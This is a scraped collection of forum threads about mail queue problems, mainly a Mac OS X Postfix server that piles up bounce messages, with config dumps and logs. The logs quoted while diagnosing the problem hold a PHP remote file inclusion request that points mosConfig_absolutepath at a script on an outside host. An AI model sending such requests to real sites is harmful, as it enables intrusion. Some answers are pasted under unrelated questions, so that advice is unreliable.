Mail Queue Filling Up

Came into the office this morning and everyone is complaining they didn't get any email over the weekend. I log into SA to notice over 300 emails stuck in the queue. I found a couple threads regarding this and this one particularly is almost my exact situation:
http://discussions.apple.com/thread.jspa?messageID=1891076&
With the exception of upgrading the OS. I did actually have to add a virtual IP address to the same NIC that has the IP for our email. I did this because I was having SSL issues:
http://discussions.apple.com/thread.jspa?threadID=612479&tstart=0
Since I wasn't adding a new IP and not so much changing an IP, I didn't use the "changeip" command. Following some of the instructions from the above mentioned thread, I ran "sudo postsuper -r ALL" and this didn't seem to help at all. I then issued a "/sbin/reboot" to restart the email server and now it is in the process of sending all the email that are in the queue. Send and receive email is working properly.
So why the post since I have solved my own problem?
Because it makes me nervous that after adding an additional real-world IP to the extra NIC installed on the server, that it has been behaving this.
So... any thoughts or suggestions on how to prevent this in the future or how to fix this? Thanks.

Ahhh! Yes, I did create an actual user for postmaster
and am using it so I could have an additional email
account in Mail.app to monitor email that was
improperly addressed. Usually I find about 1-2
emails a week where someone improperly mis-spelled
someones address and therefore I send it on to the
right place.
Should I delete the "postmaster" account in WGM? But
then how would I be able to check it's email?
Have a look in /etc/postfix/alias. The alias name is on the left (postmaster) and the name of the mail account used for it is on the right. Replace with your own short name or another (I usually set up a separate mailadmin user). But I don't really think that is causing your problem - its the actual receiving undeliverable mail which is generating the bounces back out.
Also in /etc/postfix/main.cf what's the difference
between "myhostname" and "mydomain". I have them
both configured the same with "mail.domain.com".
Should one be "domain.com" and the other
"mail.domain.com"?
myhostname is normally your hostname ( eg mail.domain.com) - what you want your server to use in its 'helo' command. Ideally should be the same as your MX record (and PTR record for your IP). Ideally they should all match but sometimes difficult.
mydomain - eg domain.com
Note that you will have to put the domain into the Local Hosts Alias pane (if not already there) if you previously only had it as your myhostname.
-david

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    I do have a few Windows clients. They have up to date virus protection but they could very well be infected with some malware. I haven't had the chance to run SpyBot on them.
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    daemon_directory = /usr/libexec/postfix
    debugpeerlevel = 2
    defaultdestination_concurrencylimit = 6
    defaultprocesslimit = 20
    enableserveroptions = yes
    inet_interfaces = all
    initialdestinationconcurrency = 15
    localrecipientmaps =
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    mail_owner = postfix
    mailboxsizelimit = 0
    mailbox_transport = cyrus
    mailq_path = /usr/bin/mailq
    manpage_directory = /usr/share/man
    mapsrbldomains =
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    maximalqueuelifetime = 36h
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    minimalbackofftime = 900s
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    myhostname = thestranger.com
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    newaliases_path = /usr/bin/newaliases
    ownerrequestspecial = no
    queue_directory = /private/var/spool/postfix
    queuerundelay = 900s
    readme_directory = /usr/share/doc/postfix
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    relayhost =
    sample_directory = /usr/share/doc/postfix/examples
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    smtpdpw_server_securityoptions = login,plain,cram-md5,gssapi
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    smtpdtls_keyfile = /etc/certificates/myDomain.com.key
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    virtualmailboxdomains = hash:/etc/postfix/virtual_domains
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    command_directory = /usr/sbin
    config_directory = /etc/postfix
    content_filter = smtp-amavis:[127.0.0.1]:10024
    daemon_directory = /usr/libexec/postfix
    debugpeerlevel = 2
    enableserveroptions = yes
    html_directory = no
    inet_interfaces = all
    localrecipientmaps =
    luser_relay = postofficebox
    mail_owner = postfix
    mailboxsizelimit = 0
    mailbox_transport = cyrus
    mailq_path = /usr/bin/mailq
    manpage_directory = /usr/share/man
    mapsrbldomains =
    messagesizelimit = 20971520
    mydestination = $myhostname,localhost.$mydomain,mail.sk.com,66.XXX.8.132,10.0.0.132,sk.com,skde sign.com
    mydomain = sk.com
    mydomain_fallback = localhost
    myhostname = sk.com
    mynetworks = 127.0.0.1/32,10.0.0.1/32,206.XXX.192.99
    mynetworks_style = host
    newaliases_path = /usr/bin/newaliases
    ownerrequestspecial = no
    queue_directory = /private/var/spool/postfix
    readme_directory = /usr/share/doc/postfix
    recipient_delimiter = +
    relayhost = mail.chrl.twtelecom.net
    sample_directory = /usr/share/doc/postfix/examples
    sendmail_path = /usr/sbin/sendmail
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    MacBook Pro 2.0 GHz 1 GB RAM   Mac OS X (10.4.6)  

    Thanks Jeff. I think the code injection maybe it. I have the server set to relay all outgoing messages to our ISP's mail server. When I look at the messages in the mail queue, all of them seem to be bounce backs from the ISP (domain name does not exist.)
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    Oct 10 20:11:02 mail postfix/qmgr[4726]: C6C32162E2F: from=, size=28300, nrcpt=1 (queue active)
    Oct 10 20:11:02 mail postfix/smtp[13214]: C6C32162E2F: host relay.mail.twtelecom.net[216.136.102.250] said: 450 <[email protected]>: Recipient address rejected: Domain not found (in reply to RCPT TO command)
    Oct 10 20:11:03 mail postfix/smtp[13214]: C6C32162E2F: to=<[email protected]>, relay=relay.mail.twtelecom.net[216.54.204.190], delay=3698, status=deferred (host relay.mail.twtelecom.net[216.54.204.190] said: 450 <[email protected]>: Recipient address rejected: Domain not found (in reply to RCPT TO command))
    Oct 10 20:11:49 mail postfix/smtpd[13189]: connect from c-24-147-6-229.hsd1.ma.comcast.net[24.147.6.229]
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    Oct 10 20:11:50 mail postfix/cleanup[13178]: 37C60163818: message-id=<000001c6ecc9$d4d5c980$0100007f@Alicia>
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    Oct 10 20:11:51 mail postfix/smtpd[13189]: disconnect from c-24-147-6-229.hsd1.ma.comcast.net[24.147.6.229]
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    Oct 10 20:11:56 mail postfix/smtpd[13182]: F29EA163837: client=localhost[127.0.0.1]
    Oct 10 20:11:56 mail postfix/cleanup[13178]: F29EA163837: message-id=<000001c6ecc9$d4d5c980$0100007f@Alicia>
    Oct 10 20:11:56 mail postfix/smtpd[13182]: disconnect from localhost[127.0.0.1]
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    Oct 10 20:11:56 mail postfix/qmgr[4726]: 37C60163818: removed
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    Oct 10 20:11:56 mail postfix/qmgr[4726]: F29EA163837: removed
    Oct 10 20:11:56 mail postfix/smtp[13214]: 39E33163839: host relay.mail.twtelecom.net[216.54.204.190] said: 450 <[email protected]>: Recipient address rejected: Domain not found (in reply to RCPT TO command)
    Oct 10 20:11:56 mail postfix/smtp[13214]: 39E33163839: to=<[email protected]>, relay=relay.mail.twtelecom.net[216.136.95.10], delay=0, status=deferred (host relay.mail.twtelecom.net[216.136.95.10] said: 450 <[email protected]>: Recipient address rejected: Domain not found (in reply to RCPT TO command))
    When I look at the HTTPD logs for that same minute, I see:
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    216.120.232.145 - - [10/Oct/2006:20:11:09 -0400] "GET //components/comsitemap/sitemap.xml.php?mosConfig_absolutepath=http://71.132.219.9/omg/remote.txt? HTTP/1.1" 404 -
    194.52.202.141 - - [10/Oct/2006:20:11:36 -0400] "GET //components/comsitemap/sitemap.xml.php?mosConfig_absolutepath=http://71.132.219.9/omg/remote.txt? HTTP/1.1" 404 -
    68.71.20.37 - - [11/Oct/2006:10:20:11 -0400] "GET /images/leisure_image.3.jpg HTTP/1.1" 200 5338
    68.71.20.37 - - [11/Oct/2006:10:20:11 -0400] "GET /images/leisure_image.4.jpg HTTP/1.1" 200 6872
    68.71.20.37 - - [11/Oct/2006:10:20:11 -0400] "GET /images/leisure_image.5.jpg HTTP/1.1" 200 3360
    The line "//components/comsitemap/sitemap.xml.php?mosConfig_absolutepath=http://71.132.219.9/omg/remote.txt? HTTP/1.1" 404 -" seem to be that code injection. We don't have a file named sitemap.xml.php on our website.
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    I have three site running on this server. One is a plain old static site for the company it does not use PHP. One is webmail that came with OS X. The final one is an file storage site that does use PHP. It's a commercial code called Copper Project. I've turned off the site overnight to see if this still happens.
    The link in in Jeff's post seems to suggest a simple fix. However, I know nothing about PHP programing, so this is beyond me.
    Thanks
    Henry
    MacBook Pro 2.0 GHz 1 GB RAM   Mac OS X (10.4.6)  

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    Aug 18 15:27:16 server postfix/cleanup[20819]: B7FA3E930E: message-id=<000001c6c2d2$2aae8940$d73fa8c0@hpcsece>
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    Aug 18 15:27:16 server postfix/smtpd[20827]: disconnect from localhost[127.0.0.1]
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    Here it is:
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    Ed Crowley MVP "There are seldom good technological solutions to behavioral problems."

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    Technical Consultant, Wipro Ltd.                

  • How  to look at mail queue

    I have installed Collaboration Suite 9.0.3, and am curious to know how to look at the mail queue on the OCS server, and more specifically, how do I delete emails in the queue? Somebody apparently found us during the installation of this server before I could lock it down with spam rules, and I have a ton of junk emails stuck in the queue that won't go anywhere. How do I get rid of those messages? They are literally using up the server resources after about 5 hours of the server trying to send them.
    Thanks,
    Michael

    Well, I guess that's part of the problem too. I'm not sure I have emails in the queue. I have the OCS server set up with the relay host set to another server on the network running sendmail. If I stop the smtp_out service on the OCS server, and then start it again, I see a bunch of messages being sent to the relay server to be delivered, most of them spam as far as I can tell. The sendmail server is set to reject those messages, so it does not try to deliver them and therefore does not put them in the queue on that server. However, regardless of restarting smtp_out, restarting Unified Messaging, restarting OCS, or restarting the entire server, those messages continue to remain in what I'm assuming is the queue on the OCS server. Does that make any sense? From what I can get from the documentation, they must be sitting in the mailstore database somewhere, and I'm wondering if there is a query I can run to at least look and see what is there, and preferable delete them. Otherwise, I guess I have to wait 5 days for the server to finally give up.
    Any ideas?
    Thanks,
    Michael

  • Trying to implement a mail queue

    I'm trying to implement a very basic mail queue using ExecutorService and a Callable split into a producer which builds the email and an email queue and a consumer to send the queued message out but I keep getting:
    java.lang.NullPointerException
         at javax.mail.Transport.send(Transport.java:97)
         at org.bedework.mail.sendMail.call(sendMail.java:45)
         at java.util.concurrent.FutureTask$Sync.innerRun(Unknown Source)
         at java.util.concurrent.FutureTask.run(Unknown Source)
         at java.util.concurrent.ThreadPoolExecutor$Worker.runTask(Unknown Source)
         at java.util.concurrent.ThreadPoolExecutor$Worker.run(Unknown Source)
         at java.lang.Thread.run(Unknown Source)
    I'm not sure how to get the transport variable passed across and read by the consumer thread.
    The consumer code is:
    public class sendMail implements Callable<Object> {
         private ArrayBlockingQueue<Object>  queuedMail;
         private Transport trans;
         private MimeMessage msg;
         private Logger log = Logger.getLogger(sendMail.class);
         public sendMail (ArrayBlockingQueue<Object> queuedMail, Transport trans) {
              this.trans = trans;
              this.queuedMail = queuedMail;
         public Object call() throws Exception {
              try {
                   queuedMail.poll();
                   synchronized (queuedMail) {
                      if (queuedMail.isEmpty()) {
                         queuedMail.wait(1000);
                   try {
                        trans.send(msg);
                        Thread.sleep(1000);
                   } catch (Exception e) {
                        e.printStackTrace();
              } catch (Exception e) {
                   e.printStackTrace();
              return null;
    }The code that calls it is:
    tr = sess.getTransport(config.getProtocol());
            pool.submit(new buildMail(sess, cal, originator, to, subject));
            pool.submit(new sendMail (mailqueue, tr));I'd be grateful for any pointers in getting this sorted out.

    First, read this FAQ item:
    [http://java.sun.com/products/javamail/FAQ.html#send|http://java.sun.com/products/javamail/FAQ.html#send]
    Then explain to me how "msg" is ever set in your sendMail class.

  • My gmail account is no longer available on my iPad 2 in the mail queue at the bottom. How can I reset it?

    This morning when I opened my iPad to check my email, the mail queue at the bottom was blank when I opened it. Upon further tries of trying to reset, it keeps telling me it can verify and that if I save the info submitted, it may not be available to me. How do I go back to yesterday when it worked?

    (1) Download the Windows Installer CleanUp utility installer file (msicuu2.exe) from the following Major Geeks page (use one of the links under the "DOWNLOAD LOCATIONS" thingy on the Major Geeks page):
    http://majorgeeks.com/download.php?det=4459
    (2) Doubleclick the msicuu2.exe file and follow the prompts to install the Windows Installer CleanUp utility. (If you're on a Windows Vista or Windows 7 system and you get a Code 800A0046 error message when doubleclicking the msicuu2.exe file, try instead right-clicking on the msicuu2.exe file and selecting "Run as administrator".)
    (3) In your Start menu click All Programs and then click Windows Install Clean Up. The Windows Installer CleanUp utility window appears, listing software that is currently installed on your computer.
    (4) In the list of programs that appears in CleanUp, select any Apple Software Update entries and click "Remove", as per the following screenshot:
    (5) Quit out of CleanUp, restart the PC and try another iTunes install using an iTunesSetup.exe (or iTunes64Setup.exe) downloaded from the Apple Website:
    http://www.apple.com/itunes/download/
    Does it go through properly this time?

  • Is there another way to "Retry" messages in the mail queue?

    While changing service providers and finding out they had port 25 blocked, my queue filled with about a hundred messages. The block was removed from port 25 and all messages that were reported as "timed out" went through. Now I'm left with a dozen messages that "Host or domain name not found. Name service error for name=(verified_domain.com) type=MX: Host not found, try again" The domain and user are good, however the message will not go after clicking "Retry". Is there any way to "fix" these emails? Could this have been caused by a timeout while my server was looking up the address?
    Thanks,
    Keith

    Hi
    Try:
    sudo postsuper -r ALL
    Tony

  • Mail Queue question

    I can't seem to get the mail queue to show the email that the server recived
    I changed the mail store location to another hard drive on the same server.
    and I moved data base location to the same hard drive as the mail store.
    Does that have any effect on the Mail Queue?
    when is the mail queue supose to show mail? (incoming, out going, or both?)
    the server sends and recives mail fine so i am sure it is something small but I dont know what
    thanks in advance to anyone that can help me

    Unless you have a very busy mail server, you probably will not see anything. That queue window is not 'live' but merely refreshes itself every 15 seconds (IIRC) - keep hitting 'refresh' and you should pick up something. If everything is working normally then mail actually spends very little time in a 'queue' as it passes from one process to another. Normally, you might just see deferred delivery mail there.
    -david
    Link: http://developer.apple.com/documentation/Darwin/Reference/ManPages/man8/qmgr.8.h tml

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